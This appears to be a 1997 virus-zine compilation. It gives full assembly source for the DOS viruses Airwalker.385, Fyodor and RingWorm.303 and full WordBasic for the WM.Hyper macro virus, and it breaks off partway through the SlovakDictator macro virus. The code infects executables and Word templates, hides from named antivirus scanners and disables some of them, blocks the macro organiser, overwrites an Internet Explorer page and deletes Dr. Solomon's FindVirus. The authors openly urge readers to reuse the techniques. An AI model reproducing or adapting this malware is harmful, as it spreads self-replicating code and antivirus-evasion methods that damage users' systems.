airw-385.asm (/m1 generates a 386 byte variant) ; tlink /t airw-385.obj ; ; Alternately: a86 airw-385.asm airw-385.com (creates a 384 byte variant) ; ; Payload: On each run, before returning control to the host program, the key ; contained at encrypt_key will be compared with a random byte taken ; from I/O port 40h (system timer). If the low bytes match, the host ; program will beep once, then continue normally. If the high bytes ; match, the virus will display its message from the SLAM virus team ; and transfer control to the host. ; ; As of right now, the Airwalker.385 virus is 100% unscannable with: ; ; TBAV v7.07 w/ high heuristic sensitivity enabled ; F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled ; AVPLite v3.0 build 107 updated 03/22/97 with full heuristics enabled ; Dr. Solomon's FindVirus v7.69 w/ the following command-line switches ; enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE ; Microsoft Anti-Virus (big surprise... no great accomplishment here :) .model tiny .286 .code org 0100h start: db 0E9h dw offset virus_start - offset dummy_host dummy_host: mov ah, 09h int 21h int 20h message db 'WARNING: You have just released the Airwalker.385 virus!', 0Dh, 0Ah, '$' virus_start: db 0BDh delta_offset: dw offset virus_start ; =========================================================================== ; F-Protect will flag this virus if the following code is included, but stops ; tracing immediately if a register is called, even if the /analyse /paranoid ; and /guru command-line switches are used. ; ; call decrypt ; =========================================================================== lea ax, [bp + decrypt - virus_start] call ax start_encrypt: ; =========================================================================== ; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic ; code segment, but not if you xor a word on the stack: ; ; xor word ptr [bp + file_mask + 2 - virus_start], 1717h ; xor byte ptr [bp + file_mask + 4 - virus_start], 19h ; =========================================================================== push word ptr [bp + file_mask + 2 - virus_start] mov bx, sp xor word ptr [bx], 1717h pop word ptr [bp + file_mask + 2 - virus_start] xor byte ptr [bp + file_mask + 4 - virus_start], 19h ; =========================================================================== ; O Found code that can be used to overwrite/move a program in memory. ; ; mov di, 0100h ; lea si, [bp + original - virus_start] ; =========================================================================== mov si, 0100h lea di, [bp + original - virus_start] xchg si, di movsw movsb mov ah, 1Ah lea dx, [bp + virus_dta - virus_start] int 21h ; =========================================================================== ; F Suspicious file access. Might be able to infect a file. ; ; mov ah, 4Eh ; lea dx, [bp + file_mask - virus_start] ; mov cx, 32 ; int 21h ; =========================================================================== mov bh, 4Eh xchg ax, bx lea dx, [bp + file_mask - virus_start] mov cx, 32 int 21h jnc open_again return_to_host: mov ax, word ptr [bp + encrypt_key - virus_start] xchg al, bl in al, 40h cmp al, ah je payload_beep cmp al, bl jne back_to_entry payload_slam_message: lea dx, [bp + slam_string - virus_start] jmp display_string payload_beep: lea dx, [bp + beep_string - virus_start] display_string: mov ah, 09h int 21h back_to_entry: ; =========================================================================== ; B Back to entry point. Contains code to re-start the program after ; modifications at the entry-point are made. Very usual for viruses. ; ; mov si, 0100h ; push si ; ret ; =========================================================================== dec sp mov si, sp mov word ptr [si], 0100h xor ax, ax xor bx, bx xor cx, cx cwd xor bp, bp xor si, si xor di, di ret open_again: mov ax, 3D02h lea dx, [bp + name_buffer - virus_start] int 21h jc return_to_host xchg bx, ax mov ah, 3Fh lea dx, [bp + original - virus_start] mov cx, 03h int 21h jc return_to_host push bx mov bx, dx cmp byte ptr [bx], 0E9h pop bx je find_next_file mov ax, 4202h xor cx, cx cwd int 21h jc return_to_host push ax add ax, offset start mov word ptr [bp + delta_offset - virus_start], ax mov ah, 2Ch int 21h xchg ch, cl add dx, cx mov word ptr [bp + encrypt_key - virus_start], dx xor word ptr [bp + file_mask + 2 - virus_start], 1717h xor byte ptr [bp + file_mask + 4 - virus_start], 19h mov ah, 40h mov cx, virus_end - virus_start lea dx, [bp + virus_start - virus_start] pusha jmp write_virus out_write_virus: pop ax jc jump_up sub ax, 03h push bx mov bx, bp mov word ptr cs:[bx + 1], ax mov byte ptr [bx], 0E9h pop bx mov ax, 4200h xor cx, cx cwd int 21h jc jump_up ; =========================================================================== ; F Suspicious file access. Might be able to infect a file. ; ; mov ah, 40h ; lea dx, [bp + virus_start - virus_start] ; mov cx, 03h ; int 21h ; jc return_to_host ; =========================================================================== mov ax, 03h mov ch, 40h lea dx, [bp + virus_start - virus_start] xchg ax, cx int 21h jc jump_up mov ah, 3Eh int 21h jump_up: jmp return_to_host find_next_file: mov ah, 3Eh int 21h lea dx, [bp + file_mask - virus_start] mov ah, 4Fh int 21h jc jump_up jmp open_again original: mov dx, offset message virus_name db '[airwalker]', 00h virus_author db '(c) 1997 gothmog', 00h beep_string db 07h, '$' slam_string db 'greetings to the world from the slam virus team', 0Dh, 0Ah, '$' ; =========================================================================== ; S Contains a routine to search for executable (.COM or .EXE) files. ; ; file_mask db '*.com', 00h ; =========================================================================== file_mask db '*.txt', 00h end_encrypt equ $ - 0001h encrypt: decrypt: lea si, [bp + start_encrypt - virus_start] mov di, si mov cx, (end_encrypt - start_encrypt + 1) / 2 xor_loop: lodsw int 03h ; debugger trap jnc false_jump false_jump_2: stosw loop xor_loop ret false_jump: db 35h encrypt_key dw 0000 jnc false_jump_2 write_virus: call encrypt popa int 21h call decrypt jmp out_write_virus virus_end: virus_dta db 30 dup (?) name_buffer db 13 dup (?) end start ; ============================================================[ code ends ]== ; The Fyodor Virus by Gothmog/DHA ; ; This virus uses an interesting anti-heuristic technique - infected files ; masquerade as .ZIP format files. To do this, the virus starts with a dummy ; 22-byte ZIP file header, which disassembles to do-nothing instructions ; which fortunately do not crash the processor: ; ; [cs]:0100 50 PUSH AX ; [cs]:0101 4B DEC BX ; [cs]:0102 050600 ADD AX,0006 ; [cs]:0105 0000 ADD [BX+SI],AL ; [cs]:0107 0000 ADD [BX+SI],AL ; [cs]:0109 0000 ADD [BX+SI],AL ; [cs]:010B 0000 ADD [BX+SI],AL ; [cs]:010D 0000 ADD [BX+SI],AL ; [cs]:010F 0000 ADD [BX+SI],AL ; [cs]:0111 0000 ADD [BX+SI],AL ; [cs]:0113 90 NOP ; [cs]:0114 0000 ADD [BX+SI],AL ; ; To a ZIP processer, the virus is stored as a ZIP comment, and the actual ; archive contains no files. In any case, this technique renders the virus ; invisible to TBAV, which flags only the `p' flag, for a packed file... ; ; While this virus is nothing more than a featureless overwriter (I was ; testing the idea, so wrote it up _real_ quick...) the technique can easily ; be added to more complex viruses - just cut and paste! ; ; ==========================================================[ code begins ]== .model tiny .code org 100h virusStart: db 50h, 4Bh, 05h, 06h, 00h, 00h, 00h, 00h, 00h, 00h, 00h db 00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h, 90h, 00h, 00h findFirst: filemask db '*.com', 00h, 00h mov byte ptr virusstart + 1, 'K' mov ah, 4Eh findFile: xor cx, cx mov dx, offset filemask int 21h jc writeMsg openFile: mov ax, 3D00h mov dx, 9Eh int 21h xchg bx, ax readFile: mov ah,3fh mov cx, 2 mov dx, offset buffer int 21h closeFile: mov ah,3eh int 21h checkInfected: cmp word ptr[buffer], 'KP' jnz OpenFileAgain mov ah,4fh jmp findFile Virus_Name db 'fyodor' openFileAgain: mov ax,3d02h mov dx,9eh int 21h xchg bx,ax infectFile: mov ah, 40h mov cx, offset virusEnd - offset virusStart mov dx, offset virusStart int 21h closeFileAgain: mov ah,3eh int 21h writeMsg: mov dx, offset msgerror mov ah,09h int 21h exit: int 20h msgerror db 'Bad command or file name', 13, 10, '$' virusEnd: buffer dw ? end virusStart ; ============================================================[ code ends ]== ; ==[ The RingWorm.303 Virus ]=============================================== ; ; I don't have any time to comment this virus, just let me say that it is ; firmly anti-heuristic, armoured, and has an interesting debugger / ; disassembler trap at the end of the decryption routine, see if you can ; find it... It is overwriting, because, again, I was testing the method, ; and didn't want to be bothered with a feature-full virus; if the method ; worked, which it does, I was to write a cool virus... Unfortunately, I ; haven't the time right now, so I am releasing this code so that you can. ; The two instructions to watch are: ; ; mov ax, 0FFEBh ; jcxz $ - 2 ; ; Trace the jumps through with debug, you don't have to run it, just 'u' the ; jump addresses until you see what it does. See the Airwalker viruses for ; most of the anti-heuristic tricks used in this baby; as for the rest, just ; enjoy... ; ; ==========================================================[ code begins ]== .model tiny .286 .code org 100h virus_start: mov ax, offset decrypt call ax start_encrypt: xchg ax, cx mov es, ax mov word ptr es:[1h*4], offset my_int1 mov word ptr es:[1h*4+2], cs mov word ptr es:[3h*4], offset my_int3 mov word ptr es:[3h*4+2], cs push cs pop es mov ax, 0CA02h xor bl, bl int 2Fh ; disable TBAV's TBSCANX cli ; clear maskable interrupts neg sp ; disable TBAV - this code neg sp ; emulates a stack crash sti ; set maskable interrupts mov cl, 02h call anti_fprot ; disable F-Prot v1.x F-LOCK mov cl, 03h call anti_fprot ; disable F-Prot v1.x F-XCHK mov cl, 04h call anti_fprot ; disable F-Prot v1.x F-XPOPUP mov cl, 05h call anti_fprot ; disable F-Prot v1.x F-DLOCK mov cl, 07h ; disable F-Prot v2.x VIRSTOP call anti_fprot ; boot sector checking mov ax, 0FA01h ; wakes up VSAFE to keyboard mov dx, 5945h ; asks VSAFE to de-install int 16h ; call VSAFE-hooked interrupt ; =========================================================================== ; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic ; code segment, but not if you xor a word on the stack: ; ; xor word ptr [file_mask + 2], 1717h ; xor byte ptr [file_mask + 4], 19h ; =========================================================================== push word ptr [file_mask + 2] mov bx, sp xor word ptr [bx], 1717h pop word ptr [file_mask + 2] xor byte ptr [file_mask + 4], 19h mov ah, 4Eh ; ah = 4Eh, find first file xor cx, cx mov dx, offset file_mask ; points to `*.com' int 21h ; do it! find_file: jc exit_virus ; exit if no files found mov ax, 3D02h ; open file for read/write mov dx, 09Eh ; location of filename in psp int 21h ; do it! xchg bx, ax ; put filehandle in bx mov ah, 3Fh ; read file from handle in bx mov cx, 01h ; number of bytes to read mov dx, offset heap ; read byte to heap int 21h ; do it! cmp byte ptr [heap], 0B8h ; compare to `mov ax' opcode je next_file ; if infected, find next file xor word ptr [file_mask + 2], 1717h xor byte ptr [file_mask + 4], 19h mov si, offset write_virus mov di, offset heap + 0001h mov cx, offset end_write_virus - offset write_virus rep movsb mov ah, 2Ch ; ah = 2Ch, dos get time int 21h ; do it! mov word ptr[encrypt_key], dx ; key = dx = seconds:100ths mov ax, 4200h ; reset file pointer to top xor cx, cx ; mov cx, 0000h in 2 bytes cwd ; mov dx, 0000h in 1 byte int 21h ; do it! mov ah, 40h ; write file from handle bx mov cx, virus_end - virus_start ; number of bytes to write mov dx, offset virus_start ; start writing from cs:100h pusha jmp heap + 0001h exit_virus: int 20h ; we're outta here... next_file: mov ah, 3Eh ; ah = 3Eh, close file int 21h ; do it! mov ah, 4Fh ; ah = 4Fh, find next file int 21h ; do it! jmp find_file write_virus: mov ax, offset decrypt call ax popa int 21h ; write the bitch! mov ah, 3Eh ; ah = 3Eh, close file int 21h ; do it! int 20h end_write_virus equ $ virus_name db '[ringworm]', 00h virus_author db '(c) 1997 gothmog', 00h ; =========================================================================== ; S Contains a routine to search for executable (.COM or .EXE) files. ; ; file_mask db '*.com', 00h ; =========================================================================== file_mask db '*.txt', 00h anti_fprot: mov ax, 4653h mov bx, 0001h xor ch, ch int 2Fh ret end_encrypt equ $ - 0001h my_int1: call my_int1 my_int3: call my_int3 encrypt: decrypt: mov si, offset start_encrypt mov di, si xor bx, bx push bx ; zero has to be on stack for zeroing cx below ; (this is done real crazy to be hard to trace, and also very anti-heuristic; ; nothing recognizes this entire structure as a decryption loop at all...) mov bx, offset false_jump_2 ; see note below mov cx, (end_encrypt - start_encrypt + 1) / 2 xor_loop: lodsw jnc false_jump false_jump_2: pop ax pop cx stosw loop xor_loop pop ax ret false_jump: db 35h encrypt_key dw 0000 pop dx push dx push cx push ax xchg cx, dx mov ax, 0FFEBh ; <----------------- debugger trap, with next line jcxz $ - 2 ; (actually executes a jmp bx instruction) call my_int1 virus_end equ $ heap: end virus_start ; ============================================================[ code ends ]== [WordMacro.Hyper] Identification: ->VIRUSNAME: WM.Hyper ->SIZE: 22,528 Bytes (9 Macros) ->VERSION: v1.01 ->ORIGIN: United Kingdom ->AUTHOR: Hyperlock ->DATE: March, 1997 Characteristics: ->Polymorphism Yes ->Stealth Yes ->Encrypted Yes, this file isn't but see virii.zip for encrypted version ->Retro Yes, but only targeting Dr. Solomon ->External Infection Yes, Microsoft Internet Explorer INTRODUCTION ============ This virus has been written to demonstrate some of the ideas that have been rattling around my head for a while. Some of the concepts you will have seen before, whereas others you definitely will not have. I have another virus in the making, implementing many of the features I had to leave out of this one. But hey, the more virus code out there the better. Your comments are welcome. The virus morphs the payload macro. The macro names that are the same as the built-in ones are not morphed. The stealth is simple but effective. It captures both calls for the macro organiser through Tools/Macro and Files/Template. Most virii don't capture Files/Template so I thought it was about time. This makes it a bit of a pain to remove once infection has occurred, so as always make sure your normal.dot is backed-up somewhere else. There are other ways of removing it, but more on those techniques another time. It will be encrypted, but because it is a bit of a pain, but not hard, to decrypt it, it is here in text format. The virus does have retro as part of the payload, but targets Dr. Solomon's Findvirus only. It determines if it exists and then removes it, but only after certain conditions are met. As its payload it infects Microsoft Internet Explorer. This is really just for demo purposes; I'm sure something can be done with it. All it does is make a scrolling marquee in HTML when it cannot find your modem. This can, of course, be changed to do almost anything in JavaScript, VBScript or HTML. More in this later. As far as I am aware, this is the first virus to infect Internet Explorer in this way. The virus consists of the following 9 macros: AutoExec AutoOpen AutoClose FileSave FileSaveAs FileTemplates ToolsMacro EditAutotext Hyper (identifier mutates in normal.dot) HOW IT WORKS ============ OK, here is the run down on how the virus propagates, infects and mutates. I have commented the code enough to make it readable to a reasonable programmer. If you can't follow it, then takes some lessons in Word Basic. The AutoOpen macro executes when a document is opened. It copies all macros to normal.dot, and calls the mt$ function to mutate the payload macro (hyper). Notice the use of AutoText to store the mutated macro name; this method was chosen so that it cannot be deleted externally to word, e.g., in an INI file. To prevent anyone touching the macro name, note the use of the EditAutoText macro, which has been used to disable it. An INI file "nostrad.ini" is created and contains an infection counter and other info. You can have a go at deciphering the copyright info if you want, shouldn't be too hard. AutoClose operates in the same way as AutoOpen, and uses the AutoOpen profile and mutation macros. It checks for the existence of the mutation string in AutoText and uses it if it exists. The AutoExec macro was left empty on purpose, I didn't want a particular virus messing about when mine is doing its stuff. What can I say, shit happens. OK, moving on to the FileSave and FileSaveAs macros; these are almost the same except that FileSave forces a document to be saved as a template without checking what it is before hand. It is the fasted way for the thing to run. There is no point is checking for this. These macros copy all virus macros from normal.dot to the victim template, disguised as a document, of course. The payload macro, stored in the form Mxxxx in normal.dot is saved as hyper in the victim template. FileTemplates and ToolsMacro are the two most accessible methods for viewing macros. Hence, these are disabled. Normally, FileTemplates is not touched, but it is now. EditAutoText is used to prevent the deletion of the macro mutation identifier, because it is stored internally as an autotext entry. AutoText entries can also be deleted using the macro organiser, but it has been disabled anyway using FileTemplates and ToolsMacro macros! THE PAYLOAD =========== Last, but not least, we have the payload macro 'hyper'. The macro name mutates to be of the form 'Mxxxx' in normal.dot, where xxxx is a random number. It infects Microsoft Internet Explorer using HTML and JavaScript to do so. Note that this payload is an example of how to do this, hence the HTML is pretty small and just displays and scrolling marquee. It also has a retro element, where it searches for Dr. Solomon AV and removes it if certain conditions are met. It is executed by AutoOpen and AutoClose. OK, it uses debug to create a file which, when copied, becomes blank.htm. Note that this htm file is loaded by IE when it cannot find a modem when it is launched or if a site is found to be invalid on the initial load of IE. There are other conditions when blank.htm is used, but these are the most common. It creates a debug input script and a batch file. The batch file executes debug and feeds in the script, creating hyper.dat as the output. This file will then be copied to windows/system as the new blank.dat. The last thing the batch file does is create a flag file. This flag file is needed because when the batch file is shelled, the rest of the macro in word continues to execute, so a loop is used to check for the creation of this flag file. Once found, all work files in windows\temp of the form hyp*.* are removed (gotta keep the place tidy!). The last part of the payload is the retro part. It deletes Dr. Solomon FindViru if it exists when the infection counter is < 5 or every 10th infection. Well, gotta give someone a chance to delete it! Anyway, enough of this crap, the code is below. Enjoy. Regards, Hyperlock VIRUS CODE ========== ---------------------------------------------------------------------------------------- Macro: AutoOpen REM REM WM.Hyper virus REM REM On AutoOpen of document, copy all macros to normal.dot REM Occurs each time you open an existing document REM Sub MAIN On Error Goto endsub DisableInput 1 REM stop message on change of normal.dot ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0 REM mutate payload name if one does not exist in system pay$ = GetAutoText$("wm.hyper", 0) If pay$ = "" Then pay$ = mt$ SetAutoText("wm.hyper", pay$, 0) End If REM copy macros ct$ = FileName$() MacroCopy ct$ + ":autoexec", "global:autoexec",1 MacroCopy ct$ + ":autoclose", "global:autoclose",1 MacroCopy ct$ + ":autoopen", "global:autoopen",1 MacroCopy ct$ + ":filesaveas", "global:filesaveas",1 MacroCopy ct$ + ":filesave", "global:filesave",1 MacroCopy ct$ + ":editautotext", "global:editautotext",1 MacroCopy ct$ + ":toolsmacro", "global:toolsmacro",1 MacroCopy ct$ + ":filetemplates", "global:filetemplates",1 MacroCopy ct$ + ":hyper", "global:" + pay$,1 profupdate hyper endsub: End Sub REM REM Maintain a counter of infections REM Sub profupdate entry$ = GetPrivateProfileString$("virus", "hyper_counter", "nostrad.ini") If entry$ = "" Then SetPrivateProfileString("virus", "hyper_counter", "1", "nostrad.ini") SetPrivateProfileString("virus", "author", "Hyperlock", "nostrad.ini") c$ = "0400990410" c$ = c$ + "3207212111" c$ = c$ + "2101114108" c$ = c$ + "1110991070" c$ = c$ + "4403207709" c$ = c$ + "7114099104" c$ = c$ + "0320490570" c$ = c$ + "57055" SetPrivateProfileString("virus", "copyright", c$, "nostrad.ini") Else a = Val(entry$) + 1 entry$ = Str$(a) SetPrivateProfileString("virus", "hyper_counter", entry$, "nostrad.ini") End If End Sub REM REM Mutate macro identifiers, except auto, edit and file macros REM Function mt$ m$ = "" While Len(m$) <= 2 m$ = getrnd$ Wend mt$ = "M" + LTrim$(m$) End Function Function getrnd$ i = Rnd() * 4096 j = Rnd() * 512 x = Int(Rnd() * (j - i) + i) getrnd$ = Str$(x) End Function ---------------------------------------------------------------------------------------- Macro: AutoClose REM REM WM.Hyper virus REM REM Autoclose macro REM Occurs each time you close a document REM Sub MAIN On Error Goto endsub DisableInput 1 REM stop message on change of normal.dot ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0 REM mutate payload name if one does not exist in system pay$ = GetAutoText$("wm.hyper", 0) If pay$ = "" Then pay$ = autoopen.mt$ SetAutoText("wm.hyper", pay$, 0) End If REM copy macros ct$ = FileName$() MacroCopy ct$ + ":autoexec", "global:autoexec",1 MacroCopy ct$ + ":autoclose", "global:autoclose",1 MacroCopy ct$ + ":autoopen", "global:autoopen",1 MacroCopy ct$ + ":filesaveas", "global:filesaveas",1 MacroCopy ct$ + ":filesave", "global:filesave",1 MacroCopy ct$ + ":editautotext", "global:editautotext",1 MacroCopy ct$ + ":toolsmacro", "global:toolsmacro",1 MacroCopy ct$ + ":filetemplates", "global:filetemplates",1 MacroCopy ct$ + ":hyper", "global:" + pay$,1 autoopen.profupdate hyper endsub: End Sub ---------------------------------------------------------------------------------------- Macro: AutoExec REM REM WM.Hyper virus REM Version: 1.01 REM Sub MAIN End Sub ---------------------------------------------------------------------------------------- Macro: FileSave REM REM WM.Hyper virus REM REM Catch FileSave and refresh if possible REM Sub MAIN On Error Goto endsub REM stops error 24 when macros already exist REM stop message on change of normal.dot, just in case REM user changed it and set document flag as changed DisableInput 1 ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0 DisableAutoMacros 0 SetDocumentDirty REM Force document to be a template (change to template and save) Dim dlg As FileSaveAs GetCurValues dlg dlg.Format = 1 FileSaveAs dlg REM copy macros to local document template ct$ = FileName$() pay$ = GetAutoText$("wm.hyper", 0) MacroCopy "global:autoexec", ct$ + ":autoexec",1 MacroCopy "global:autoclose", ct$ + ":autoclose",1 MacroCopy "global:autoopen", ct$ + ":autoopen",1 MacroCopy "global:filesaveas", ct$ + ":filesaveas",1 MacroCopy "global:filesave", ct$ + ":filesave",1 MacroCopy "global:editautotext", ct$ + ":editautotext",1 MacroCopy "global:toolsmacro", ct$ + ":toolsmacro",1 MacroCopy "global:filetemplates", ct$ + ":filetemplates",1 MacroCopy "global:" + pay$, ct$ + ":hyper",1 autoopen.profupdate FileSave REM bypass the if statement below Err = 102 endsub: If Err <> 102 Then FileSave End If End Sub ---------------------------------------------------------------------------------------- Macro: FileSaveAs REM REM WM.Hyper virus REM REM FileSaveAs Macro REM Sub MAIN On Error Goto endsub DisableInput 1 REM stop message on change of normal.dot, just in case REM user changed it and set document flag as changed ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0 DisableAutoMacros 0 SetDocumentDirty REM get the values for the filesaveas dialog Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg REM set doc type to be a template regardless of current type dlg.Format = 1 REM copy macros to local document template ct$ = FileName$() pay$ = GetAutoText$("wm.hyper", 0) MacroCopy "global:autoexec", ct$ + ":autoexec",1 MacroCopy "global:autoclose", ct$ + ":autoclose",1 MacroCopy "global:autoopen", ct$ + ":autoopen",1 MacroCopy "global:filesaveas", ct$ + ":filesaveas",1 MacroCopy "global:filesave", ct$ + ":filesave",1 MacroCopy "global:editautotext", ct$ + ":editautotext",1 MacroCopy "global:toolsmacro", ct$ + ":toolsmacro",1 MacroCopy "global:filetemplates", ct$ + ":filetemplates",1 MacroCopy "global:" + mn$, ct$ + ":hyper",1 autoopen.profupdate REM save new file settings now replication is complete FileSaveAs dlg REM bypass the if statement below Err = 102 endsub: If Err <> 102 Then FileSaveAs dlg End If End Sub ---------------------------------------------------------------------------------------- Macro: FileTemplates REM REM WM.Hyper virus REM REM FileTemplates macro REM Sub MAIN MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48) End Sub ---------------------------------------------------------------------------------------- Macro: ToolsMacro REM REM WM.Hyper virus REM REM ToolsMacro macro REM Sub MAIN MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48) End Sub ---------------------------------------------------------------------------------------- Macro: EditAutotext REM REM WM.Hyper virus REM REM Disable Edit/Autotext REM This is so that the mutation marker cannot be altered REM or deleted. The toolsmacro and filetemplates macros REM block the other routes to the autotext, which can be REM changed through the organizer. REM Sub MAIN MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48) End Sub ---------------------------------------------------------------------------------------- Macro: Hyper (local document), mutates in normal.dot to Mxxxx REM REM WM.Hyper virus REM REM This macro name will mutate. REM This is the payload. It infects Microsoft Internet Explorer REM through HTML in blank.htm, which is loaded if cannot find a REM modem or if a site is initially invalid, amongst others. REM Sub MAIN DisableInput 1 DisableAutoMacros 0 ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0 REM windows temp dir p$ = DefaultDir$(13) Open p$ + "\hyper.dbg" For Output As #1 Print #1, "n hyper.dat" Print #1, "e 0100 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54" Print #1, "e 0110 49 54 4c 45 3e 4d 69 63 72 6f 73 6f 66 74 20 49" Print #1, "e 0120 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72" Print #1, "e 0130 3c 2f 54 49 54 4c 45 3e 0a 3c 53 43 52 49 50 54" Print #1, "e 0140 20 4c 41 4e 47 55 41 47 45 3d 22 4a 61 76 61 53" Print #1, "e 0150 63 72 69 70 74 22 3e 0a 3c 21 2d 2d 0a 66 75 6e" Print #1, "e 0160 63 74 69 6f 6e 20 64 73 28 29 0a 7b 0a 77 69 6e" Print #1, "e 0170 64 6f 77 2e 73 74 61 74 75 73 20 3d 20 22 57 4d" Print #1, "e 0180 2e 48 79 70 65 72 20 68 61 73 20 6e 6f 77 20 69" Print #1, "e 0190 6e 66 65 63 74 65 64 20 57 6f 72 64 20 61 6e 64" Print #1, "e 01a0 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72" Print #1, "e 01b0 65 72 21 22 3b 0a 7d 0a 2d 2d 3e 0a 3c 2f 53 43" Print #1, "e 01c0 52 49 50 54 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42" Print #1, "e 01d0 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 64 73 28 29" Print #1, "e 01e0 3b 22 3e 0a 3c 54 41 42 4c 45 20 57 49 44 54 48" Print #1, "e 01f0 3d 36 32 30 20 43 45 4c 4c 50 41 44 44 49 4e 47" Print #1, "e 0200 3d 30 20 43 45 4c 4c 53 50 41 43 49 4e 47 3d 30" Print #1, "e 0210 20 42 4f 52 44 45 52 3d 30 3e 0a 3c 54 52 3e 0a" Print #1, "e 0220 3c 54 44 3e 0a 3c 46 4f 4e 54 20 46 41 43 45 3d" Print #1, "e 0230 22 41 72 69 61 6c 22 20 53 49 5a 45 3d 32 3e 0a" Print #1, "e 0240 3c 4d 41 52 51 55 45 45 20 57 49 44 54 48 3d 36" Print #1, "e 0250 30 30 20 53 43 52 4f 4c 4c 44 45 4c 41 59 3d 38" Print #1, "e 0260 30 20 42 4f 52 44 45 52 3d 30 3e 0a 59 6f 75 72" Print #1, "e 0270 20 73 79 73 74 65 6d 20 68 61 73 20 62 65 65 6e" Print #1, "e 0280 20 69 6e 66 65 63 74 65 64 20 77 69 74 68 20 74" Print #1, "e 0290 68 65 20 57 4d 2e 48 79 70 65 72 20 76 69 72 75" Print #1, "e 02a0 73 2e 20 0a 49 74 20 6c 6f 6f 6b 73 20 6c 69 6b" Print #1, "e 02b0 65 20 79 6f 75 20 61 72 65 20 67 6f 6e 6e 61 20" Print #1, "e 02c0 68 61 76 65 20 74 6f 20 74 61 6b 65 20 73 6f 6d" Print #1, "e 02d0 65 20 72 65 6d 65 64 69 61 6c 20 61 63 74 69 6f" Print #1, "e 02e0 6e 20 2e 2e 2e 20 0a 28 63 29 20 48 79 70 65 72" Print #1, "e 02f0 6c 6f 63 6b 2c 20 4d 61 72 63 68 20 31 39 39 37" Print #1, "e 0300 0a 3c 2f 4d 41 52 51 55 45 45 3e 0a 3c 2f 46 4f" Print #1, "e 0310 4e 54 3e 0a 3c 2f 54 44 3e 0a 3c 2f 54 52 3e 0a" Print #1, "e 0320 3c 2f 54 41 42 4c 45 3e 0a 3c 2f 42 4f 44 59 3e" Print #1, "e 0330 0a 3c 2f 48 54 4d 4c 3e" Print #1, "rcx" Print #1, "0238" Print #1, "w" Print #1, "q" Close #1 REM create batch file to move from Windows temp directory to windows/system, Open p$ + "\hypconv.bat" For Output As #1 Print #1, "@cd " + p$ Print #1, "@debug < " + "hyper.dbg > hyptemp" Print #1, "@move " + "hyper.dat " + "..\system\blank.htm" Print #1, "@copy hyptemp hypflag" Print #1, "@exit" Close #1 Shell p$ + "\hypconv.bat", 0 REM wait for batch file to finish, then delete all work files While Files$(p$ + "\hypflag") = "" Wend Kill p$ + "\hyp*.*" REM Retro - every 10th or first few infections, delete Dr. Solomon. REM Got to give them a chance to delete Hyper! c$ = GetPrivateProfileString$("virus", "hyper_counter", "nostrad.ini") If c$ <> "" Then If Val(c$) Mod 10 = 0 Or Val(c$) < 5 Then If Files$("c:\toolkit\findviru.*") <> "" Then Kill "c:\toolkit\findviru.*" End If End If End If End Sub ---------------------------------------------------------------------------------------- -- Hyperlock, March 1997 -- ---------------------------------------------------------------------------------------- -------------------------------------------------------------- A polymorphic virus WordMacro.SlovakDictator written by Nasty Lamer & Ugly Luser , By <****{=============- ' AuRoDrEpH, the Drow -------------------------------------------------------------- Main features: - the first slovak macro virus ! - the first world true polymorphic virus ! Its body is mutated, each copy of the virus has a different size - each copy of the virus is absolutely different ! It will be very hard to detect it by using signatures, because all variables are fully mutated ! No typical virus signature ! No more exact macro virus detection ! - it doesn't use any commands for copying macros ! - known AV programs do not detect it ! - it fools all heuristics scanners ! - it uses LME (Lamer's Macro Engine) ver. 1.00 to generate polymorphic macro viruses - it uses special infection techniques ! - If AVers look at the source code of the virus, they will be shocked ! 80% of the virus is internaly encrypted by a different encryption constant ! Infection: The virus contains only one unecrypted macro AutoClose. It infects all documents or global templates while they are being closed. No destructions or other actions ! (good for testing purposes) Occassionally (every 4th and 11th day of each month) it displays a message box with a virus warning. It infects ONLY Word 7.x documents. Due to its special infection techniques it isn't able to infect Word 8.0 documents. The virus is language-dependent (it creates macro ...), tested with the english version of Word 7.0 only (it works well). Disadvantages: - process of infection is very slow, it may take over 15 seconds on a slow PC - Although the virus prevents the ESC key from interrupting the macro, pressing keys while the virus is running may cause a bug in creating mutated names of variables and due this reason a bug in the executing macro may occure. (it will be fixed in version for Word 8.0) The virus source (Contained in the virus) : -------------------------------------------- '//// begin of hidden part //// ShowBox CurFile$ = FileName$() If CurFile$ = @@@@ Then Goto UTCUSCLAOECQNLTBA If CheckInstalled(0) = 0 Then Infect(1) ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0 Goto UTCUSCLAOECQNLTBA" End If Dim dlg As FileSaveAs GetCurValues dlg If dlg.Format = 0 Then dlg.Format = 1 FileSaveAs dlg End If If CheckInstalled(1) = 0 Then Infect(3) FileSave End If UTCUSCLAOECQNLTBA: End Sub Sub ShowBox ParlamentnyPuc = Day(Now()) If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then Beep Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@ Text 29, 8, 349, 13, @@You're infected by WordMacro.SlovakDictator virus@@, .Text1 Text 15, 28, 360, 13, @@Welcome to the LME (Lamer's Macro Engine) ver. 1.00@@, .Text2 Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text3 Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia@@, .Text4 Text 34, 98, 343, 13, @@Dis is the first world true polymorphic macro virus !@@, .Text5 ="PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1 Text 100, 165, 228, 13, @@Big fuck to the big boxer V.M.@@, .Text6 End Dialog Dim 